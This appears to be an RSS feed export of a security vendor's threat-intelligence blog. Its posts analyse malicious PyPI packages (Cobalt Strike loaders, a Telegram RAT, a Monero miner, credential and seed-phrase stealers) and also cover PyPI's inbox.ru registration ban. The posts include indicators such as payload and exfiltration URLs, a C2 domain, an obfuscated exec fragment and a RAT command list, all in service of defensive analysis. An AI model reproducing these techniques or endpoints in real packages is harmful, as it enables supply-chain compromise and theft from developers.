<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pypi &#8211; PT ESC</title>
	<atom:link href="https://ptesc.tech/en/tag/pypi/feed/" rel="self" type="application/rss+xml" />
	<link>https://ptesc.tech/en/</link>
	<description></description>
	<lastBuildDate>Mon, 05 Oct 2026 10:48:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.4</generator>

<image>
	<url>https://ptesc.tech/wp-content/uploads/2026/09/cropped-cropped-large_icon-32x32.png</url>
	<title>pypi &#8211; PT ESC</title>
	<link>https://ptesc.tech/en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Unusual obfuscation is always beautiful...</title>
		<link>https://ptesc.tech/en/unusual-obfuscation-is-always-beautiful/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Wed, 11 Mar 2026 13:02:42 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bd%d0%b5%d0%be%d0%b1%d1%8b%d1%87%d0%bd%d0%b0%d1%8f-%d0%be%d0%b1%d1%84%d1%83%d1%81%d0%ba%d0%b0%d1%86%d0%b8%d1%8f-%d1%8d%d1%82%d0%be-%d0%b2%d1%81%d0%b5%d0%b3%d0%b4%d0%b0-%d0%ba%d1%80%d0%b0/</guid>

					<description><![CDATA[Unusual obfuscation is always beautiful... 🥰 ... it's just a shame that you have to see it in trojanized open-source packages, and not only at Capture The Flag (CTF) information security competitions. One of the attacker's tasks is to make…]]></description>
										<content:encoded><![CDATA[<p><strong>Unusual obfuscation is always beautiful&#8230; </strong><strong>🥰</strong></p>
<p>&#8230; it&#8217;s just a shame that you have to see it in trojanized open-source packages, and not only at Capture The Flag (CTF) information security competitions.</p>
<p>One of the attacker&#8217;s tasks is to make a malicious package that looks legitimate. This allows them to evade detection longer.</p>
<p>We noticed an interesting PyPI campaign that includes the library <code>requests-ml-min</code> authored by <code>scott.fitzgerald</code>. It contains only six Python files:</p>
<p>1️⃣ <code>setup.py</code>. There is execution of <code>ModelInstall</code> at install time, but that&#8217;s not a crime: there are many projects that install something extra or compile at this stage.</p>
<p>2️⃣ <code>tests/test_pnotify.py</code>. Nothing unusual.</p>
<p>3️⃣ <code>tests/test_utils.py</code>. Nothing unusual.</p>
<p>4️⃣ r<code>esource/resource.py</code> (<em>screenshot 1</em>). Contains an array of 145 UUID identifiers and a concatenation function&#8230; 🤪 Original, attempt counted 🙂</p>
<p>5️⃣ <code>src/audit/perf.py</code> (<em>screenshot 2</em>). Collecting system information, packing it into base64, sending it. 👍 Ten detections out of ten for stealer-style system information collection.</p>
<p>6️⃣ s<code>rc/utils/utils.py</code> (<em>screenshot 3</em>). Implements helper functions. Strings are obfuscated via arrays of ASCII codes&#8230; 🏃‍♀️ Are we solving a reverse CTF task for 100?</p>
<p><strong>About the file </strong><code>resource/resource.py</code></p>
<p>Behind the obfuscation hides a beautiful downloader + process injector. Beautiful because the downloaded file, which is shellcode, is located at the following URI:</p>
<p><code>https://storage.googleapis.com/py-pi/python_win</code></p>
<p>The shellcode will be injected into a separately launched process <code>werfault.exe</code>. The payload is a Cobalt Strike loader.</p>
<p><strong>Actions of the PyPI package during installation:</strong></p>
<p>🤔 Will collect system information (<em>screenshot 2)</em>.</p>
<p>🤔 Will send it to <code>https://us-central1-bucket-438814.cloudfunctions.net/ping/api/v1/ping</code><br />
 (by the way, another beautiful URI).</p>
<p>🤔 Will make sure the victim is on the whitelist. To do this, it will get the victim&#8217;s domain, hash it with the SHA-256 algorithm, and make sure the hash matches one of seven expected ones. This is a good anti-analysis method, since it complicates the work of researchers 🙂</p>
<p>🤔 If the victim is on the whitelist, it will launch the Cobalt Strike payload.</p>
<p>It&#8217;s curious that the code allows preparing a payload for Windows, Linux, and macOS, but the author added only the Windows variant.</p>
<p><strong>We managed to recover the source text for four of the seven hashes:</strong><br />
🌟<code>desktop</code><br />
🌟<code>abd.local</code><br />
🌟<code>exttest.local</code><br />
🌟<code>extprod.local</code></p>
<p>You can leave your guesses about the nature of these domains in the comments 🤨</p>
<p>Given the list of targets the library limits itself to, this could be a pentest or a bug bounty. At least, let&#8217;s hope so — a library this beautiful is not something you come across very often.</p>
<p><span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a> (<a href="https://x.com/ptescalator" rel="noopener" target="_blank">X,</a> <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">Max</a>)</p>
<figure class="wp-block-image"><img width="1024" height="892" src="https://ptesc.tech/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-1024x892.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-1024x892.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-300x261.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-768x669.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42.jpg 1277w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="945" src="https://ptesc.tech/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-1024x945.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-1024x945.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-300x277.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-768x709.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42.jpg 1277w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>pip install teligram</title>
		<link>https://ptesc.tech/en/pip-install-teligram/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 10 Feb 2026 14:36:18 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/pip-install-teligram/</guid>

					<description><![CDATA[pip install teligram 🧐 (better not run it) On February 8, the teligram library was published. Its description reads: Telegram-based friendly library. Alas, as usual in our posts, there are no miracles — the library is a custom Remote Access…]]></description>
										<content:encoded><![CDATA[<p><strong>pip install teligram</strong> 🧐 <span class="spoiler">(better not run it)</span></p>
<p>On February 8, the <code>teligram</code> library was published.</p>
<p>Its description reads: <code>Telegram-based friendly library</code>.</p>
<p>Alas, as usual in our posts, there are no miracles — the library is a custom Remote Access Tool (RAT).</p>
<p><strong>Its features:</strong></p>
<p>• Traces of LLM usage are present.</p>
<p>• Contains one large function <code>khelo</code>, which implements 16 sub-functions.</p>
<p>• Traces of the Indian language are present (<code>khelo</code> translates to &#8220;play&#8221;; the chosen developer name <code>Om Devendra</code> is Indian).</p>
<p>• The code is not obfuscated, and the bot&#8217;s greeting sent when using the <code>/help</code> and <code>/start</code> commands by an administrator reflects the capabilities:</p>
<pre><code>Available commands:
pwd - Show current directory
ls or ls -la - List files
cd &lt;directory&gt; - Change directory
whoami - Show current user
date - Show date and time

TAKE COMMANDS:
1. take &lt;number&gt; - Get the nth file
   Example: take 1

2. take &lt;file_name&gt; - Get file by name
   Example: take myfile.txt

3. take .&lt;extension&gt; - Get all files with extension
   Example: take .jpg or take .py

4. take all - Get ALL non-empty files

5. /send - Upload files to current directory

Special features:
- Working directory saved between commands
- Empty files automatically skipped</code></pre>
<p>Version 1.0.0 does not have post-install launch functionality. The other versions did not have time to be released — the package was sent to quarantine, although it existed for 19 hours.</p>
<p>💬 By the way, you can now read ESCalator <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">on MAX as well</a><a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">.</a> And this is not a scam.</p>
<p><span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>The city celebrates, the mafia wakes up</title>
		<link>https://ptesc.tech/en/the-city-celebrates-the-mafia-awakens/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Mon, 19 Jan 2026 15:05:12 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b3%d0%be%d1%80%d0%be%d0%b4-%d0%bf%d1%80%d0%b0%d0%b7%d0%b4%d0%bd%d1%83%d0%b5%d1%82-%d0%bf%d1%80%d0%be%d1%81%d1%8b%d0%bf%d0%b0%d0%b5%d1%82%d1%81%d1%8f-%d0%bc%d0%b0%d1%84%d0%b8%d1%8f/</guid>

					<description><![CDATA[The city celebrates, the mafia wakes up 🥰 Between January 1 and 11, approximately 180 malicious packages were removed from the NPM ecosystem, and 16 from PyPI. Attackers on PyPI are lazy. We'll tell you about a little New Year's magic withi…]]></description>
										<content:encoded><![CDATA[<strong>The city celebrates, the mafia wakes up </strong><strong>🥰</strong><br />
<br />
Between January 1 and 11, approximately 180 malicious packages were removed from the NPM ecosystem, and 16 from PyPI. <s>Attackers on PyPI are lazy</s>. We&#8217;ll tell you about a little New Year&#8217;s magic within a single PyPI package.<br />
<br />
On January 4, user <code>ambertransit</code> published a project called <code>aiihttp</code>, whose name mimics the http client <code>aiohttp</code>.<br />
<br />
The code begins with simple obfuscation:<br />
<br />
<pre class="wp-block-code"><span><code lang="python" class="hljs language-python language-python"><span class="hljs-keyword">import</span> base64

exec(base64.b64decode(<span class="hljs-string">'aW1wb3J0IGl...'</span>)</code></span></pre><br />
<br />
The logic hidden behind base64 is shown in the first screenshot. Key points:<br />
<br />
<strong>•</strong> The package gentlemanly helps the developer who made a typo: it deletes itself, installs <code>aiohttp</code> [item 1 in screenshot 1], then reloads the module if it was already imported [2].<br />
<br />
<strong>•</strong> The next stage is hosted on GitHub [3]. However, it&#8217;s not that simple — it&#8217;s encrypted with a 32-character XOR [4]. The key uses the alphabet <code>[a-f0-9]{32}</code>, which resembles MD5 in format, but we found no additional meaning behind it.<br />
<br />
<strong>•</strong> Persistence in the system is achieved via the registry [5]. The stage will execute the next time the user logs into the system.<br />
<br />
The GitHub account is active and has been uploading malware since May 2024. Using XOR, even with a 32-byte key, without a cipher block chaining mode makes executables not so well protected 😁 (the second screenshot shows the blob downloaded by the malicious code). The same picture is observed toward the end of the file, which is also rich in null bytes.<br />
<br />
The executable is a miner for the Monero cryptocurrency. As a result of the campaign, the attacker managed to mine 15.7 <span class="spoiler">(not million)</span> rubles 🤑<br />
<br />
Be careful in open source — it&#8217;s fertile ground for attackers&#8217; activities 😼

<figure class="wp-block-image"><img width="1024" height="862" src="https://ptesc.tech/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-1024x862.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-1024x862.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-300x252.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-768x646.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Drama around PyPI: 🪰⮕🐘?</title>
		<link>https://ptesc.tech/en/passions-around-pypi/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Mon, 21 Jul 2025 15:26:04 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%81%d1%82%d1%80%d0%b0%d1%81%d1%82%d0%b8-%d0%b2%d0%be%d0%ba%d1%80%d1%83%d0%b3-pypi-%f0%9f%aa%b0%e2%ae%95%f0%9f%90%98/</guid>

					<description><![CDATA[Drama around PyPI: 🪰⮕🐘? Last week, CNews published a news item: "Russians driven out of the Python community. Only the chosen ones for now, but the selection criteria are extremely strange". It reveals that the Python Package Index (PyPI)…]]></description>
										<content:encoded><![CDATA[<strong>Drama around PyPI: 🪰⮕🐘?</strong>

Last week, CNews published a news item: &#8220;<a href="https://zoom.cnews.ru/soft/news/line/2025-07-17_rossiyan_pognali_iz_soobshchestva" target="_blank" rel="noopener">Russians driven out of the Python community. Only the chosen ones for now, but the selection criteria are extremely strange</a>&#8220;. It reveals that the Python Package Index (PyPI), the largest repository of Python packages, has banned the registration of new users with email addresses on the <a href="http://inbox.ru" target="_blank" rel="noopener">inbox.ru</a> domain.
<blockquote>The official statement says that a wave of spam came from inbox.ru mailboxes — users with such email created 250 profiles and added over one and a half thousand projects to them, which allegedly &#8220;deceive users and pose a security threat&#8221; (leading to end-user confusion, abuse of resources, and potential security issues).</blockquote>
The blocking of Russians in various communities is a hot topic. It was cited by other publications as well.
<a href="https://t.me/banksta/74708" target="_blank" rel="noopener">
@banksta</a>:
<blockquote>Russians are being expelled from the Python programming community. They have been banned from using the PyPI repository with packages for Python. The restrictions only affected those who create a new account linked to an inboxru email and those who want to add such an email to an existing profile. The domain belongs to Mailru.</blockquote>
<a href="https://t.me/imaxairu/17131" target="_blank" rel="noopener">@imaxairu</a>:
<blockquote>Russians banned from using the PyPI repository with packages for Python

The restrictions only affected those who create a new account linked to an inbox .ru email and those who want to add such an email to an existing profile

The domain belongs to Mail .ru. The limits do not yet extend to other domains of the company</blockquote>
The Supply Chain Security team actively collaborates with PyPI in the area of trojan detection. We decided to validate whether the actions of the repository&#8217;s administration were justified.

<strong>Assessing the official statements</strong>

CNews references <a href="https://blog.pypi.org/posts/2025-06-15-prohibiting-inbox-ru-emails/" target="_blank" rel="noopener">a post on the PyPI blog</a> published on July 15, 2025. It states that, guided by the practice of blocking spam email domains, they are closing registration of new users on the Python Package Index using email on the <code>inbox.ru</code> domain.

The PyPI administration <a href="https://blog.pypi.org/posts/2024-06-16-prohibiting-msn-emails/" target="_blank" rel="noopener">made a similar decision a year ago</a>, on June 16, 2024, regarding the domains <code>outlook.com</code> and <code>hotmail.com</code> (owned by Microsoft) — they became a favorite solution for attackers due to the ease of mass domain registration.

It should be clarified that downloading packages does not require registration. An account is needed to publish your own projects.

PyPI provides statistics:

<pre class="wp-block-code"><span><code class="hljs language-plaintext">June 9: the first account of the campaign appeared.
June 11: 46 accounts were created in 3 hours.
June 24: 207 accounts were created in 4 hours.
From June 26 to July 7, they created 1525 projects:
2025-06-26  9
2025-06-27  295
2025-06-28  39
2025-06-29  119
2025-06-30  740
2025-07-01  249
2025-07-02  46
2025-07-10  16
2025-07-11  12</code></span></pre>

In our opinion, there is no legitimate scenario in which a single user would need that many accounts. Creating a large number of projects makes sense in the fight against namesquatting (<a href="https://t.me/disasm_me_ch/447" target="_blank" rel="noopener">using Yandex as an example</a>), but one account is enough for that.

Let&#8217;s pay attention to the last paragraph of the PyPI post (translation below):
<blockquote>We hope that we will be able to reverse this decision in the future when we are more confident in this email provider&#8217;s ability to prevent abuse. If you work at this provider, please write to us at security@pypi.org to discuss this decision.</blockquote>
Let&#8217;s look into the campaign.

<strong>Nature of the campaign</strong>

Let&#8217;s examine the projects that published their first release during the campaign period of June 26 — July 7, capturing additional time on the left and right for clarity: from June 12 to July 15.

A developer, when publishing a project, may optionally leave an email for feedback. During this interval, only 4 packages were published with an explicit email on <code>@inbox.ru</code>, all legitimate.

Chart 1 (see below) demonstrates whether the developer chose to provide an email in the first release of their project.

<img fetchpriority="high" decoding="async" class="attachment-large size-large" src="https://ptesc.tech/wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-1024x526.jpg" sizes="auto, (max-width: 1024px) 100vw, 1024px" srcset="https://ptesc.tech/wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-1024x526.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-300x154.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-768x395.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11.jpg 1280w" alt="" width="1024" height="526" />
We observe:
1. A drop in overall developer activity on weekends (two-day pits are visible, alternating with five-day workweeks).
2. Spikes in packages without email, published on June 27 (378), June 30 (662), July 1 (509).

The second observation correlates with PyPI&#8217;s statistics: on June 27, 295 packages were published on <code>@inbox.ru</code>, on June 30 — 740, on July 1 — 249, adjusted for time zones.

Within the activity period, there are 1403 projects without email with the same description: &#8220;Minimal package created automatically&#8221; — and version 0.0.1 (chart 2). They coincide with the period of the campaign activity that the PyPI administrators were unhappy about.

The names of the packages from this batch are clear typosquatting (an attack on the fact that a developer will make a typo in the package name during installation or fall for a good name — and install a trojan):
🟢<code>avoid</code> 🐱
🟢<code>common-io</code>
🟢<code>win32crypt</code>
🟢<code>win32com</code>
🟢<code>pywintypes</code>
🟢<code>jsap</code>
🟢<code>webdav2</code>
🟢<code>arbuzmining</code> 🍉
🟢<code>requirements-cpu-txt</code>
🟢<code>requirements-cuda-txt</code>
🟢<code>dl-pivot-pandas</code>
🟢<code>steambaselib</code> 💀
🟢<code>catboost-spark</code>
🟢<code>numpynumpy</code>
🟢<code>antlr4-runtime</code>
🟢<code>celery-telegram</code>
🟢<code>exllama-kernels</code>
🟢<code>booking-api</code>

Some of the names target developers at Russian companies:
🟢<code>youla-spark-session</code> 🐱
🟢<code>ipy-kaspersky</code> 💀
🟢<code>vkads</code>
🟢<code>vkpay</code>
🟢<code>vkplay-sync</code> 😺
🟢<code>vkplay-metrics</code>

From these names it becomes clear that the PyPI administration stopped a campaign that could have harmed our compatriots 🥺

<strong>Is blacklisting the email </strong><code>@inbox.ru</code><strong> justified?</strong>

Currently, when creating a mailbox on <code>@inbox.ru</code>, a phone number or VK account is required. There is <a href="https://otvet.mail.ru/question/234228102" target="_blank" rel="noopener">a mention</a> that two years ago it was possible to do without email. Also, <a href="https://help.mail.ru/mail/account/aliases/" target="_blank" rel="noopener">you can create up to 10 anonymous mailboxes linked to your main email</a> as part of the official functionality of <a href="http://mail.ru" target="_blank" rel="noopener">mail.ru</a>.

Probably a not insignificant role is played by the ease of automation and the simpler bypass of heuristics for suspicious actions, given that an attacker was able to manage 207 mailboxes within 4 hours.

PyPI developers who have linked an <code>@inbox.ru</code> email are not affected by the &#8220;repressions&#8221; — only the &#8220;users&#8221; who participated in the campaign were blocked. It is not possible to create new accounts or link these mailboxes to existing accounts.

<strong>In summary</strong>

The restriction on creating new accounts using <code>@inbox.ru</code> email is a natural reaction to a campaign in which a couple hundred accounts registered within a short time began to run amok.

Microsoft&#8217;s email domains also came under blocking a year ago, which further reduces the likelihood that these actions express any kind of bias.

It turned out to be open-source myth busters 👀

<span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span> <span class="hashtag">#scs</span>
<a href="https://t.me/ptescalator" target="_blank" rel="noopener">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>An attacker published malicious deepseeek and deepseekai packages on the Python Package Index</title>
		<link>https://ptesc.tech/en/an-attacker-published-malicious-packages-named-deepseeek-and-deepseekai-in-the-python-package-index/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Fri, 31 Jan 2025 17:25:42 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b7%d0%bb%d0%be%d1%83%d0%bc%d1%8b%d1%88%d0%bb%d0%b5%d0%bd%d0%bd%d0%b8%d0%ba-%d0%be%d0%bf%d1%83%d0%b1%d0%bb%d0%b8%d0%ba%d0%be%d0%b2%d0%b0%d0%bb-%d0%b2%d1%80%d0%b5%d0%b4%d0%be%d0%bd%d0%be%d1%81%d0%bd/</guid>

					<description><![CDATA[Attacker published malicious packages deepseeek and deepseekai on the Python Package Index 🐳 The Supply Chain Security team of the Threat Intelligence department at PT ESC discovered a malicious campaign amid a popular topic of recent days…]]></description>
										<content:encoded><![CDATA[<strong>Attacker published malicious packages deepseeek and deepseekai on the Python Package Index</strong> 🐳<br />
<br />
The Supply Chain Security team of the Threat Intelligence department at PT ESC <a href="https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/vredonosnye-pakety-deepseeek-i-deepseekai-byli-opublikovany-v-python-package-index/?utm_source=tg_seclab&#038;utm_medium=post&#038;utm_campaign=esc&#038;utm_content=31_01" rel="noopener" target="_blank">discovered a malicious campaign</a> amid a popular topic of recent days. The attacker, who created the account <code>bvk</code> in June 2023 and had not been active before, registered <strong>malicious packages deepseeek and deepseekai</strong> on January 29, 2025.<br />
<br />
Once installed, the discovered packages steal environment variables when the console commands deepseeek or deepseekai are invoked <em>(screenshot 2)</em>. Environment variables are typically valuable because they may contain sensitive data used in the operation of an application, such as access credentials for S3 object storage or other infrastructure resources.<br />
<br />
Notably, the code was created using an AI assistant, as indicated by characteristic comments <em>(screenshot 3)</em>.<br />
<br />
We promptly notified the repository administrators, <strong>the packages were quarantined and soon removed</strong>. Despite the quick response, they had already been downloaded 36 times by the pip package manager and the bandersnatch mirroring tool, and another 186 times — via browsers, requests, and other means.<br />
<br />
Stay vigilant: attackers are constantly looking for such successful names to carry out attacks in open source 🐱.<br />
<br />
<strong>IoCs:</strong><br />
<br />
<pre class="wp-block-code"><span><code lang="yaml" class="hljs language-yaml language-yaml"><span class="hljs-attr">PyPI package:</span> <span class="hljs-string">deepseeek</span>
<span class="hljs-attr">PyPI package:</span> <span class="hljs-string">deepseekai</span>
<span class="hljs-attr">c2:</span> <span class="hljs-string">eoyyiyqubj7mquj.m.pipedream.net</span></code></span></pre>

<figure class="wp-block-image"><img width="1024" height="597" src="https://ptesc.tech/wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-1024x597.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-1024x597.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-300x175.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-768x448.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42.jpg 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="996" height="700" src="https://ptesc.tech/wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42.jpg 996w, https://ptesc.tech/wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42-300x211.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42-768x540.jpg 768w" sizes="auto, (max-width: 996px) 100vw, 996px" /></figure>

<br />
<br />
<span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span> <span class="hashtag">#scs</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>First steps in the hacking field</title>
		<link>https://ptesc.tech/en/first-steps-in-the-hacking-field/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 24 Dec 2024 14:57:47 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bf%d0%b5%d1%80%d0%b2%d1%8b%d0%b5-%d1%88%d0%b0%d0%b3%d0%b8-%d0%bd%d0%b0-%d1%85%d0%b0%d0%ba%d0%b5%d1%80%d1%81%d0%ba%d0%be%d0%bc-%d0%bf%d0%be%d0%bf%d1%80%d0%b8%d1%89%d0%b5/</guid>

					<description><![CDATA[First steps on the hacking path 🐱 Open source is an interesting environment for observing how projects evolve. It's fascinating to study the implementation of the early versions of popular libraries like boto3, scikit-learn, requests (the c…]]></description>
										<content:encoded><![CDATA[<p><strong>First steps on the hacking path</strong> 🐱</p>
<p>Open source is an interesting environment for observing how projects evolve. It&#8217;s fascinating to study the implementation of the early versions of popular libraries like <code>boto3</code>, <code>scikit-learn</code>, <code>requests</code> (the <a href="https://pypi.org/project/requests/0.2.0/" rel="noopener" target="_blank">concept plan</a> for version 0.2.0 is quite creative).</p>
<p>It&#8217;s also interesting to watch people who, instead of using popular stealers and RATs, try their hand at writing their own solutions.</p>
<p>1️⃣ <strong>User SpaceyLad created a chain of two packages:</strong></p>
<p>🟢<code>not-so-evil-package-spaceylad</code>, whose code is shown <em>in screenshots 1</em> (original version) <em>and 2</em> (after automatic deobfuscation). This package is responsible for storing a string with the command to download the payload.</p>
<p>🟢<code>not-evil-calculator-spaceylad</code>, which will actually execute the command — <em>screenshot 3</em>.</p>
<p>In the first package, in all versions except 0.0.5, a harmless file with the <code>.css</code> extension is downloaded. If you&#8217;re unlucky, a file named <code>evil_python.exe</code> is downloaded from the author&#8217;s page on PythonAnywhere, which is actually&#8230; <code>calc.exe</code> from the standard Windows programs package. But even in that case, the payload will only execute if the user <code>IXY</code> is present.</p>
<p>One amusing detail — the project releases left in the <code>.idea</code> folder (the project folder in the PyCharm IDE) and the <code>.venv</code> folder (the Python virtual environment folder), which, aside from scant information about the package author, allowed us to learn the original project name — <code>pip_evil_package</code>. Also, thanks to a simple chain of &#8220;googling,&#8221; it turns out that the <em>developer</em> is a student in the cybersecurity department of a university in Norway 🐈</p>
<p>2️⃣ <strong>In July–August 2024, a package called </strong><code>recovery</code> existed, whose purpose according to its description was simple: <code>Checks recovery phone numbers against login page on yahoo</code>. The author&#8217;s name, <code>ExodusChecker</code>, raises vague suspicions, but let&#8217;s not jump to conclusions.</p>
<p>The first versions of the package look harmless (<em>screenshot 4</em> — for versions 0.0.1–0.0.3), then the first hints of malicious functionality appear (<em>screenshot 5</em> — versions 0.0.4–0.0.9). Starting with version 0.1.0, logic appears to replace the resource file for the Exodus crypto wallet (<em>screenshot 6</em>), and starting with version 0.1.4, the attacker learns to attach binary files to the release.</p>
<p>Over the course of 19 releases, the author builds up functionality, gradually turning a proof of concept with absolute paths (hello, user named <code>hammy</code>, testing on <code>Exodus 24.31.4</code>) into universal working code. After that, only QoL work was done. You can see the final result in <em>screenshot 7</em>, which reflects the thirtieth release — 0.3.1. The <code>suckme.bat</code> script saved to the startup folder is a joke in itself.</p>
<p>The <code>app.asar</code> being replaced itself uses a technique <a href="https://jfrog.com/blog/impala-stealer-malicious-nuget-package-payload/" rel="noopener" target="_blank">previously described by JFrog in Impala Stealer</a> with respect to the .NET NuGet package repository: the <code>unlock</code> function from <code>app/wallet/index.js</code> gains the functionality of sending the seed phrase to the attacker (<em>screenshots 8, 9</em>).</p>
<p>A simple way to protect yourself from this kind of trouble is to use an environment isolated from user files, such as Docker containers. This may not save end users, but developers will be protected to a certain extent from typical attacks. Additionally, you can look into <a href="https://www.ptsecurity.com/ru-ru/services/pt-pyanalysis/" rel="noopener" target="_blank">PyAnalysis</a> 😍</p>
<p>We wish you to stay safe from the mischief of attackers in the coming new year 🎂</p>
